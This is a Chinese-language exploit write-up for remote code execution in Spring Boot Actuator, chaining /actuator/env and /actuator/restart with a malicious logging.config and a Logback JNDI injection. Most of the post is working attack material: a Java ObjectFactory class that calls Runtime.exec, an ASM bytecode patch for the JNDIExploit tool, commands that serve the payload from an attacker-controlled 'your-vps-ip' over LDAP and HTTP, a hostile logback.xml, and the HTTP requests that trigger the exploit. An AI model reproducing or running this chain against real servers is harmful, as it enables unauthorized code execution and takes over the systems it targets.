spring actuator restart logging.config rce
0x00: 前言
spring actuator
相关的漏洞利用链公布不少了,不过都有些条件限制。
我抽时间看了看 spring boot 的一些常见 properties 配置项,希望能发现一些触发条件没那么苛刻的漏洞利用方法,也发现了一些新的 RCE 方法(目前看也是有条件限制 >_<)。
本着技术交流的目的,拿其中一个分享下,其他条件比较多的利用方法我可能会抽时间写到 SpringBootVulExploit 项目里。
0x01: 利用限制
spring actuator
目前主要有两个差别比较大的版本,1.x 和 2.x 版本。从路由角度看,2.x 版本的路由名一般比 1.x 版本路由名字前多了个 /actuator
前缀。本文涉及到的相关漏洞原理经过测试与 spring actuator
大版本的相关度差别不大,下文统一用 2.x 版本举例。
spring actuator
触发漏洞相关的内置路由,比如 /actuator/env
容易被误启用,但是 /actuator/restart
路由开启的情况比较少,
spring actuator 1.x 开启 restart 需要配置:
endpoints.restart.enabled=true
spring actuator 2.x 开启 restart 需要配置:
management.endpoint.restart.enabled=true
这个漏洞利用方法正式一点的名称应该叫 spring actuator restart logging.config logback jndi rce,都是利用一些已知条件堆起来的,主要利用方法和 jolokia-logback-jndi-rce 相差不大,所以需要的条件也基本类似。
另外顺便提一句,JNDI 注入环境在存在相关 tomcat 版本的话,可以用 javax.el.ELProcessor
作为 Reference Factory 来绕过高版本 JDK 的限制。
0x02: 漏洞原理
logging.config 配置项用来指定 Logback 组件的日志配置文件位置,通过 /actuator/env
配置恶意远程日志地址,如 http://your-vps-ip/logback.xml
后,请求 /actuator/restart
会触发该漏洞。
感兴趣的师傅可以把 debug 断点设置在 logback-classic-1.2.3-sources.jar!/ch/qos/logback/classic/util/JNDIUtil.java
文件 38 行左右的代码处
Object lookup = ctx.lookup(name);
触发漏洞后查看调用栈。
与 jolokia-logback-jndi-rce 不同的是,如果 jndi 返回的 object 没有实现 javax.naming.spi.ObjectFactory
接口,restart
触发漏洞后应用程序会直接报错退出。
其他通过 restart
触发的漏洞也有类似报错退出的问题,所以利用时要比较小心。
0x03: 漏洞利用
一:准备要执行的 Java 代码
可以配合 marshalsec
,自己编写一个实现 javax.naming.spi.ObjectFactory
接口的类进行使用,比如
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javax.naming.Context;
import javax.naming.Name;
import java.io.File;
import java.io.IOException;
import java.util.Hashtable;
public class CommandRaw extends AbstractTranslet implements javax.naming.spi.ObjectFactory{
private static String cmd = "open -a Calculator";
public CommandRaw() {
String[] var1;
if (File.separator.equals("/")) {
var1 = new String[]{"/bin/bash", "-c", cmd};
} else {
var1 = new String[]{"cmd", "/C", cmd};
}
try {
Runtime.getRuntime().exec(var1);
} catch (IOException var3) {
var3.printStackTrace();
}
}
public void transform(DOM var1, SerializationHandler[] var2) throws TransletException {
}
public void transform(DOM var1, DTMAxisIterator var2, SerializationHandler var3) throws TransletException {
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception {
return new Object();
}
}
编译好 class 后放到 web 网站根目录下。然后用 marshalsec
启动对应的 ldap 服务。
弱对抗环境下,也可以直接用其他师傅集成的工具,比如 JNDIExploit。
为了让程序不抛错退出,需要针对性的修改用到的代码,比如修改 JNDIExploit/src/main/java/com/feihong/ldap/template/CommandTemplate.java
文件,让其返回的 class 字节码继承 javax.naming.spi.ObjectFactory
接口。
比如用下面的代码替换原来 CommandTemplate.java
文件中的 generate
方法:
public void generate(){
ClassWriter cw = new ClassWriter(0);
FieldVisitor fv;
MethodVisitor mv;
AnnotationVisitor av0;
cw.visit(V1_6, ACC_PUBLIC + ACC_SUPER, className, null, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", new String[]{"javax/naming/spi/ObjectFactory"});
{
fv = cw.visitField(ACC_PRIVATE + ACC_STATIC, "cmd", "Ljava/lang/String;", null, null);
fv.visitEnd();
}
{
mv = cw.visitMethod(ACC_PUBLIC, "<init>", "()V", null, null);
mv.visitCode();
Label l0 = new Label();
Label l1 = new Label();
Label l2 = new Label();
mv.visitTryCatchBlock(l0, l1, l2, "java/io/IOException");
Label l3 = new Label();
mv.visitLabel(l3);
mv.visitLineNumber(19, l3);
mv.visitVarInsn(ALOAD, 0);
mv.visitMethodInsn(INVOKESPECIAL, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", "<init>", "()V", false);
Label l4 = new Label();
mv.visitLabel(l4);
mv.visitLineNumber(21, l4);
mv.visitFieldInsn(GETSTATIC, "java/io/File", "separator", "Ljava/lang/String;");
mv.visitLdcInsn("/");
mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "equals", "(Ljava/lang/Object;)Z", false);
Label l5 = new Label();
mv.visitJumpInsn(IFEQ, l5);
Label l6 = new Label();
mv.visitLabel(l6);
mv.visitLineNumber(22, l6);
mv.visitInsn(ICONST_3);
mv.visitTypeInsn(ANEWARRAY, "java/lang/String");
mv.visitInsn(DUP);
mv.visitInsn(ICONST_0);
mv.visitLdcInsn("/bin/sh");
mv.visitInsn(AASTORE);
mv.visitInsn(DUP);
mv.visitInsn(ICONST_1);
mv.visitLdcInsn("-c");
mv.visitInsn(AASTORE);
mv.visitInsn(DUP);
mv.visitInsn(ICONST_2);
mv.visitFieldInsn(GETSTATIC, className, "cmd", "Ljava/lang/String;");
mv.visitInsn(AASTORE);
mv.visitVarInsn(ASTORE, 1);
Label l7 = new Label();
mv.visitLabel(l7);
mv.visitJumpInsn(GOTO, l0);
mv.visitLabel(l5);
mv.visitLineNumber(24, l5);
mv.visitFrame(F_FULL, 1, new Object[]{className}, 0, new Object[]{});
mv.visitInsn(ICONST_3);
mv.visitTypeInsn(ANEWARRAY, "java/lang/String");
mv.visitInsn(DUP);
mv.visitInsn(ICONST_0);
mv.visitLdcInsn("cmd");
mv.visitInsn(AASTORE);
mv.visitInsn(DUP);
mv.visitInsn(ICONST_1);
mv.visitLdcInsn("/C");
mv.visitInsn(AASTORE);
mv.visitInsn(DUP);
mv.visitInsn(ICONST_2);
mv.visitFieldInsn(GETSTATIC, className, "cmd", "Ljava/lang/String;");
mv.visitInsn(AASTORE);
mv.visitVarInsn(ASTORE, 1);
mv.visitLabel(l0);
mv.visitLineNumber(28, l0);
mv.visitFrame(F_APPEND, 1, new Object[]{"[Ljava/lang/String;"}, 0, null);
mv.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
mv.visitVarInsn(ALOAD, 1);
mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "([Ljava/lang/String;)Ljava/lang/Process;", false);
mv.visitInsn(POP);
mv.visitLabel(l1);
mv.visitLineNumber(31, l1);
Label l8 = new Label();
mv.visitJumpInsn(GOTO, l8);
mv.visitLabel(l2);
mv.visitLineNumber(29, l2);
mv.visitFrame(F_SAME1, 0, null, 1, new Object[]{"java/io/IOException"});
mv.visitVarInsn(ASTORE, 2);
Label l9 = new Label();
mv.visitLabel(l9);
mv.visitLineNumber(30, l9);
mv.visitVarInsn(ALOAD, 2);
mv.visitMethodInsn(INVOKEVIRTUAL, "java/io/IOException", "printStackTrace", "()V", false);
mv.visitLabel(l8);
mv.visitLineNumber(33, l8);
mv.visitFrame(F_SAME, 0, null, 0, null);
mv.visitInsn(RETURN);
Label l10 = new Label();
mv.visitLabel(l10);
mv.visitLocalVariable("var1", "[Ljava/lang/String;", null, l7, l5, 1);
mv.visitLocalVariable("var3", "Ljava/io/IOException;", null, l9, l8, 2);
mv.visitLocalVariable("this", "L" + className + ";", null, l3, l10, 0);
mv.visitLocalVariable("var1", "[Ljava/lang/String;", null, l0, l10, 1);
mv.visitMaxs(4, 3);
mv.visitEnd();
}
{
mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"});
mv.visitCode();
Label l0 = new Label();
mv.visitLabel(l0);
mv.visitLineNumber(36, l0);
mv.visitInsn(RETURN);
Label l1 = new Label();
mv.visitLabel(l1);
mv.visitLocalVariable("this", "L" + className + ";", null, l0, l1, 0);
mv.visitLocalVariable("var1", "Lcom/sun/org/apache/xalan/internal/xsltc/DOM;", null, l0, l1, 1);
mv.visitLocalVariable("var2", "[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;", null, l0, l1, 2);
mv.visitMaxs(0, 3);
mv.visitEnd();
}
{
mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"});
mv.visitCode();
Label l0 = new Label();
mv.visitLabel(l0);
mv.visitLineNumber(39, l0);
mv.visitInsn(RETURN);
Label l1 = new Label();
mv.visitLabel(l1);
mv.visitLocalVariable("this", "L" + className + ";", null, l0, l1, 0);
mv.visitLocalVariable("var1", "Lcom/sun/org/apache/xalan/internal/xsltc/DOM;", null, l0, l1, 1);
mv.visitLocalVariable("var2", "Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;", null, l0, l1, 2);
mv.visitLocalVariable("var3", "Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;", null, l0, l1, 3);
mv.visitMaxs(0, 4);
mv.visitEnd();
}
{
mv = cw.visitMethod(ACC_PUBLIC, "getObjectInstance", "(Ljava/lang/Object;Ljavax/naming/Name;Ljavax/naming/Context;Ljava/util/Hashtable;)Ljava/lang/Object;", "(Ljava/lang/Object;Ljavax/naming/Name;Ljavax/naming/Context;Ljava/util/Hashtable<**>;)Ljava/lang/Object;", new String[]{"java/lang/Exception"});
mv.visitCode();
Label l0 = new Label();
mv.visitLabel(l0);
mv.visitLineNumber(43, l0);
mv.visitTypeInsn(NEW, "java/lang/Object");
mv.visitInsn(DUP);
mv.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "<init>", "()V", false);
mv.visitInsn(ARETURN);
Label l1 = new Label();
mv.visitLabel(l1);
mv.visitLocalVariable("this", "L" + className + ";", null, l0, l1, 0);
mv.visitLocalVariable("obj", "Ljava/lang/Object;", null, l0, l1, 1);
mv.visitLocalVariable("name", "Ljavax/naming/Name;", null, l0, l1, 2);
mv.visitLocalVariable("nameCtx", "Ljavax/naming/Context;", null, l0, l1, 3);
mv.visitLocalVariable("environment", "Ljava/util/Hashtable;", "Ljava/util/Hashtable<**>;", l0, l1, 4);
mv.visitMaxs(2, 5);
mv.visitEnd();
}
{
mv = cw.visitMethod(ACC_STATIC, "<clinit>", "()V", null, null);
mv.visitCode();
Label l0 = new Label();
mv.visitLabel(l0);
mv.visitLineNumber(17, l0);
mv.visitLdcInsn(cmd);
mv.visitFieldInsn(PUTSTATIC, className, "cmd", "Ljava/lang/String;");
mv.visitInsn(RETURN);
mv.visitMaxs(1, 0);
mv.visitEnd();
}
cw.visitEnd();
bytes = cw.toByteArray();
}
编译好程序后,就可以用命令开启 ldap 服务:
java -jar JNDIExploit-1.0-SNAPSHOT.jar -i your-vps-ip
二:托管 xml 文件
在自己控制的 vps 机器上开启一个简单 HTTP 服务器
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
在根目录放置以 xml
结尾的文件,比如 logback.xml
,示例如下:
<configuration>
<insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/TomcatBypass/Command/Base64/b3BlbiAtYSBDYWxjdWxhdG9y" as="appName" />
</configuration>
三:触发漏洞
POST /actuator/env HTTP/1.1
Content-Type: application/json
{"name": "logging.config", "value": "http://your-vps-ip/logback.xml"}
POST /actuator/restart HTTP/1.1
Content-Type: application/json
Content-Length: 0
评论